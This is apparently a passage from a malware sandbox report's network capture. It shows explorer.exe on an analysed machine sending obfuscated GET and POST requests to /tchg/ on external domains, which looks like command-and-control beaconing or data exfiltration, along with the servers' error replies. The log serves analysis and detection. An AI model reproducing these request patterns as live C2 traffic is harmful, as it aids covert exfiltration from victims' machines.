VBfggQv8OHLmYjAZYIKrinrsepPS0Hz6o~VLHdMD_DZH0DEZPwy4ldpgZRXrEBSGLsFFfWIY_h3RGA54fUrAh9PYMTHgsFHmhukvqHHUUOQph0hf8OkSZ3m38fgr54Zw99kJqyh4bKe3rqibM1pK9SOb5JVMFfp3ZKpDwIhK_v7d3wDUZRMlUWtL0cSZ_EZdtRvx3vUzKvkEhnAMGESBc96G3RWM_cKxwNpJRJ3Umm1CIobK6gbLZUP4dSGBnrY5VZqP6F82pgCQaz0u7V5ugjt6iKdMoqdwtMHvMSR7x9gYspvu3R-TUuF~wM6kS(GFi~05U~uvYcvRfhy5EvkW0S9jswzuOuoVaPdsxZ02V2ucaabclnDLXTqz1yoVWoOaxjRj-DjF5IwvpEcylm0raRItsU39_Z9L5l1rbQv~WNvsn5gJOzC1f(CT66TS7C6n-aZ2uxr(EkWFPQmAQUYBZaphOVKPJ6Gi6StEjF5048X4V3n(uzuWjmdz79CoHQfsZTxPYf0L6LBWM5Ts8BQ5qgTW7PxdhMhHbTy2t5GLSSAbGs313o8g4fmMuns1eYMEim6(k(qjD68Iyn6EUoh~Ir6e0p9TenM49KjP12YE5UYkY6smoSxr8o_eCEk9JSKRSo8pM(FGs~eFxju7T~0AhwbVBU4cOqGvyinpH582WbjKypqhx8IjRMl6eU_Y9nLkiDcCWHEXnI9XE~V~h3UgopCNcwxcys8CxYTAsMKAS8CUx0WkNoXq36WTsK88K(ETT4XQ-XliqrZ3YTTBDGwya07ByKW1als3o3ayAlGOIvUKF2EdmdUjODFyfj04YC4kf4cBC1qIyXaWHMPUcisvI5W8WEPxlZ0NamwdW3bOuObElVsZnDshzMxkRdz3Tewp-JtZeKmjKLEAt7gV4GKYXADTwSX08T7bGtscoEEvUtKY0wWZlGUsCPS(jhHs6JngiEpjJc6qoQ7gpwl7p8C65ipGsmOqSXyFVCx49D-W7aReBrfupzXVfJGZ2lJfOcR74IlMNMFn3QAa9lgOY0Bu5VPxYlnAh0egePU1OC7BTBQLuAYjrZP7s(sSQF8HfwKJihEbVNuSR7Q0Jgaz5uxAVUDGt2kuLgTrWsyZxBWc_snf8sPaDF44MPnCss5dj1zUOhv(tewv3FxyKRAkxvtJtEJfhycCDmjXCefAhxJP9qQRDl7BFCn8ktPhnvx6Msbz05D~SL67cPMAaHbeDqad9xOffx31Fp2RD~oiEYnt9t7YFHnDWAW3pfO7ghLASE7QZsAguDh8xtYHxwJrFA
May 30, 2023 11:13:56.982156992 CEST	1892	OUT	Data Raw: 4e 55 72 71 4c 67 6e 55 59 79 62 76 54 69 6f 78 70 75 31 67 77 56 57 51 69 7a 6f 47 71 45 5f 73 54 42 56 58 58 32 44 64 43 78 76 6c 38 32 53 61 6c 4d 4c 6e 4a 68 52 51 61 34 33 45 42 69 71 32 36 44 70 74 32 49 2d 66 76 36 41 46 65 61 77 6a 34 49 Data Ascii: NUrqLgnUYybvTioxpu1gwVWQizoGqE_sTBVXX2DdCxvl82SalMLnJhRQa43EBiq26Dpt2I-fv6AFeawj4Ilt031zPUxswKFqKW6hzXoh0DLE-EH~YdGV4VZMLgsP6TPo3cCi30n0sdfRYbmoMfEm5spwLvb8dtviuFx8AivOnpS03SuvyObrm0tUbciS2l3T52l~XTDJr3lORBopqSF~z8X84JlAdmkK2K70C6cocREPdHpG-98
May 30, 2023 11:13:57.147414923 CEST	1900	OUT	Data Raw: 68 57 51 59 42 68 6e 6e 6c 6d 34 4e 65 78 79 62 6a 33 69 6e 55 48 56 32 79 5a 73 42 39 4f 61 47 73 30 4b 71 43 69 54 78 2d 51 33 69 33 68 33 7e 4b 6a 6d 53 48 47 70 35 51 31 5f 4c 6a 50 4e 36 77 47 69 47 33 41 66 58 35 6a 5a 48 41 34 4b 78 45 58 Data Ascii: hWQYBhnnlm4Nexybj3inUHV2yZsB9OaGs0KqCiTx-Q3i3h3~KjmSHGp5Q1_LjPN6wGiG3AfX5jZHA4KxEXoLIM3qit2EIuzDJ(TWNf2eGO7TzS70l1viyonw_8otXL-9DLZclxaa20602pMekxYEdUMDs2x7t(Eq_Og5IP37WBJTHr3EpmGlXcWc1YgP6CZxAXaLsVKxho70IKioenjAlisro05Y3yzTssV~CDxCANf1jX9~WVj
May 30, 2023 11:13:57.147525072 CEST	1913	OUT	Data Raw: 64 63 6a 7a 32 55 73 4b 43 28 6a 4b 6f 35 78 4d 4a 39 38 36 4a 39 52 59 42 34 79 37 69 4f 2d 77 72 6d 43 30 45 77 57 66 42 46 4a 38 78 35 62 6b 34 4f 66 54 74 53 51 68 4f 35 75 37 4b 78 50 4e 61 69 6d 52 4b 32 52 34 59 42 67 39 36 46 76 4e 39 6f Data Ascii: dcjz2UsKC(jKo5xMJ986J9RYB4y7iO-wrmC0EwWfBFJ8x5bk4OfTtSQhO5u7KxPNaimRK2R4YBg96FvN9oEgBddOXsVbE8WNTj1x3sdul2VnATPHujD45zLjYry7pMcm67Zgvo-MxCF8X1e8JHBznEkuyh1D0X13b3kO8kRgdHEheuPhb8N5DCa6pZCmZzrxyE4uLoE32MqVqaYiHExnnRz3PoRtR8Rc_RlrFeFFEE5rH8q1bcZ
May 30, 2023 11:13:57.313009977 CEST	1920	OUT	Data Raw: 34 53 47 62 37 4c 61 7e 6c 7a 68 7e 2d 37 73 4e 32 31 67 4b 52 4e 65 7a 47 68 4b 59 45 66 62 65 55 68 6f 56 64 4d 66 57 73 65 5a 44 51 33 43 71 66 71 34 4a 46 44 38 54 35 76 70 68 36 6c 71 6b 72 70 36 78 30 44 33 6a 65 41 4c 79 61 54 48 56 72 47 Data Ascii: 4SGb7La~lzh~-7sN21gKRNezGhKYEfbeUhoVdMfWseZDQ3Cqfq4JFD8T5vph6lqkrp6x0D3jeALyaTHVrGXXnWnuR9opCSsSBWnjpJeu9KJDiq03IWHx-WyQBNz79misKwkgg8V1Y7hzS9m~wx3Esf0mX2Stqb2SZRNh1Wgr3aY5lhoRsNt4x64yAS2kDedxJm94rr6q1QZJl7cb7HK0B(99GHa189BlqJ2CxoDXjbm0Rv3xylA
May 30, 2023 11:13:57.313123941 CEST	1934	OUT	Data Raw: 63 6a 54 53 54 79 64 7a 6c 33 4e 32 73 68 79 32 65 66 44 62 64 42 56 6b 56 69 39 7e 72 51 5f 56 65 30 4e 58 5a 77 53 4e 78 74 6f 32 54 7e 45 50 71 51 36 43 47 54 4d 59 5a 51 38 42 36 52 65 36 71 45 73 43 35 31 4f 64 77 31 58 56 34 54 46 34 63 48 Data Ascii: cjTSTydzl3N2shy2efDbdBVkVi9~rQ_Ve0NXZwSNxto2T~EPqQ6CGTMYZQ8B6Re6qEsC51Odw1XV4TF4cH4HycAyYUXbinV90SKjUGWXBgJz3hTEUeqYCibeHsnAdRJA_Yl9rgKHoBKfhMMPJQ-MSGiP43YJWLUoU9s44kpFqzxn72swjYpNB49mCSsrBvl3qH7VmFsqCdsmqJnP1eZPNAgdAlw(08uqQnUafyXhM1cCccJ3ptJ
May 30, 2023 11:13:57.313287020 CEST	1936	OUT	Data Raw: 42 46 56 62 45 62 49 63 66 6d 56 6e 5f 32 67 54 79 4b 33 72 35 53 51 79 6b 73 79 65 42 42 69 69 51 39 46 63 48 7e 36 67 38 53 4f 36 47 51 76 6f 41 55 50 28 74 6e 4c 4e 72 56 52 75 33 44 67 38 4b 67 4e 54 55 72 65 56 39 69 4e 37 47 6b 59 56 51 56 Data Ascii: BFVbEbIcfmVn_2gTyK3r5SQyksyeBBiiQ9FcH~6g8SO6GQvoAUP(tnLNrVRu3Dg8KgNTUreV9iN7GkYVQVgys7Y4Nhq7Wd4xMS-j5xbcgH9dKkCKXetVmLsmNSODfObhYKIfteXhO~e88imnGY0pTYqmC7n9Dl4ht4MFez7q9OKJcv3TLDI9bny9DTYQgfD4jQldJAJHvGmnxeoP3nlD_ONU9WA0WFMG3bL23AafgL7Y0zIfPgh
May 30, 2023 11:13:57.313457966 CEST	1936	OUT	Data Raw: 73 56 47 44 49 59 61 6a 65 78 36 28 63 51 6b 39 49 55 4d 4f 6c 55 39 53 67 6c 6b 66 61 39 36 79 34 52 76 7e 6f 61 37 4c 5a 4c 78 4f 42 4d 32 39 7a 6d 56 7a 66 70 49 73 47 77 72 6a 65 28 44 55 55 54 75 52 5f 4f 50 76 50 63 72 72 42 62 61 4b 71 62 Data Ascii: sVGDIYajex6(cQk9IUMOlU9Sglkfa96y4Rv~oa7LZLxOBM29zmVzfpIsGwrje(DUUTuR_OPvPcrrBbaKqbws58_iqLTNVdPilM9JOwg7neMovYC1vfCsheyFLlDhWTNehOpyO8GmDn2hhrv1fyv04TeyRFSZF3Tu2VwDvIpjRKOR69vhRXdj90NVHW_lbtB18s4nQh12pcIZrBRN0nTn6NDywQbmDM4feTf(H9RYACcNhyYqDPv
May 30, 2023 11:13:57.481710911 CEST	1938	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Tue, 30 May 2023 09:13:56 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are loo
May 30, 2023 11:13:57.481782913 CEST	1938	IN	Data Raw: 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 Data Ascii: king for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.11.20	49866	162.214.206.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:59.668313980 CEST	1939	OUT	GET /tchg/?O0qEM=4yLegaT1sivciznwGwL+1oWFxAOSGQRZOQeAHXS5UhA0sXonzOuQC/8xHc6XJGn9K9HBDd08hbjXm0qB4TniN4OVF/4Ot7tkHQ==&2ax=jRqfPy4_lz2 HTTP/1.1 Host: www.scottsteedley.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:13:59.835793972 CEST	1940	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Tue, 30 May 2023 09:13:59 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are loo
May 30, 2023 11:13:59.835835934 CEST	1940	IN	Data Raw: 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 Data Ascii: king for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.11.20	49867	213.171.195.105	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:14:04.889312983 CEST	1941	OUT	POST /tchg/ HTTP/1.1 Host: www.arrangeabreak.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.arrangeabreak.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.arrangeabreak.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 46 67 43 45 4a 35 46 67 66 5f 58 4f 51 51 78 2d 72 72 4b 70 6e 47 6a 41 6b 65 37 42 62 70 64 44 74 37 48 42 51 4c 36 53 32 6c 4a 57 6a 69 38 50 52 67 51 69 51 63 35 51 54 70 76 4d 57 6b 4b 35 62 6e 73 30 33 30 33 44 55 33 65 49 46 6c 4a 6c 77 5a 63 34 64 37 77 49 71 6e 68 68 77 32 65 4f 72 38 67 77 69 37 74 73 42 73 62 58 4d 74 55 47 6c 78 33 6a 6b 47 5a 6b 46 74 49 73 35 79 67 34 35 53 44 56 57 39 4a 7a 6e 37 51 57 33 64 28 70 58 71 42 54 64 6e 75 73 68 38 78 4d 43 4a 7a 38 57 71 6b 63 68 4c 4f 55 51 32 54 6a 6b 33 48 66 4b 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=FgCEJ5Fgf_XOQQx-rrKpnGjAke7BbpdDt7HBQL6S2lJWji8PRgQiQc5QTpvMWkK5bns0303DU3eIFlJlwZc4d7wIqnhhw2eOr8gwi7tsBsbXMtUGlx3jkGZkFtIs5yg45SDVW9Jzn7QW3d(pXqBTdnush8xMCJz8WqkchLOUQ2Tjk3HfKQ).
May 30, 2023 11:14:04.913955927 CEST	1942	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.20.1 Date: Tue, 30 May 2023 09:14:04 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.11.20	49868	213.171.195.105	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:14:07.431772947 CEST	1943	OUT	POST /tchg/ HTTP/1.1 Host: www.arrangeabreak.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.arrangeabreak.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.arrangeabreak.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 46 67 43 45 4a 35 46 67 66 5f 58 4f 52 7a 70 2d 6b 73 65 70 77 32 6a 44 6f 2d 37 42 41 35 64 48 74 37 44 42 51 50 4b 43 32 57 74 57 6a 44 4d 50 57 6c 38 69 58 63 35 51 4b 5a 75 49 59 45 4b 6d 62 6e 67 47 33 31 4c 44 55 33 61 49 45 58 78 6c 35 4a 63 5f 46 4c 77 50 36 48 68 6b 30 32 65 54 72 38 63 73 69 35 52 73 43 64 33 58 65 62 67 47 30 56 72 69 67 6d 5a 6d 55 39 49 7a 7a 53 67 32 35 53 28 64 57 35 45 4f 6e 4b 55 57 33 39 66 70 57 71 42 51 50 33 75 72 74 63 77 53 4f 6f 75 30 63 36 51 58 34 70 53 47 4c 43 57 78 74 6b 58 52 5a 49 4f 33 51 5f 6e 52 39 46 72 65 48 70 50 42 71 2d 39 4f 43 50 37 59 38 52 38 56 30 63 33 5f 51 47 79 4f 74 53 31 37 38 33 31 5a 48 42 78 6b 5a 59 78 67 75 6c 4c 70 6b 79 4e 6a 7a 50 43 7a 72 39 42 41 63 62 75 36 47 73 5a 42 58 48 72 70 28 31 61 48 62 55 79 61 54 67 66 34 55 79 4c 69 6c 72 63 66 75 55 76 6b 4a 42 28 66 6e 59 4c 57 6c 67 61 4e 69 57 52 6e 6c 74 53 72 43 66 33 66 4a 48 6a 53 55 49 58 6e 54 6f 63 77 7e 64 50 64 4b 36 77 30 4f 59 51 6f 73 33 72 59 45 6a 54 45 36 44 49 63 46 6b 63 5f 32 31 5a 43 6d 6a 6a 58 6e 66 4b 4f 62 32 78 57 55 71 43 31 48 5f 67 6c 62 65 51 31 35 50 47 36 56 32 4b 69 33 34 35 35 58 4d 5a 34 76 42 49 54 4c 74 6b 53 38 6a 5a 31 58 4a 67 5f 57 58 41 7a 76 53 30 69 6f 5a 79 42 36 32 6b 56 4f 42 57 4c 31 65 30 6e 54 73 58 42 56 73 69 46 38 46 6a 45 48 5f 69 32 76 78 44 38 5a 54 68 49 30 5f 66 4e 42 59 62 6d 72 61 64 35 77 76 45 58 50 53 4c 7a 72 62 76 67 78 4a 54 5a 70 76 67 38 7e 79 49 50 79 65 59 4a 4a 4f 32 65 36 73 72 50 74 4a 77 37 76 65 67 6e 33 79 38 7a 62 57 6d 39 7e 47 38 2e 00 00 00 00 00 00 00 00 Data Ascii: 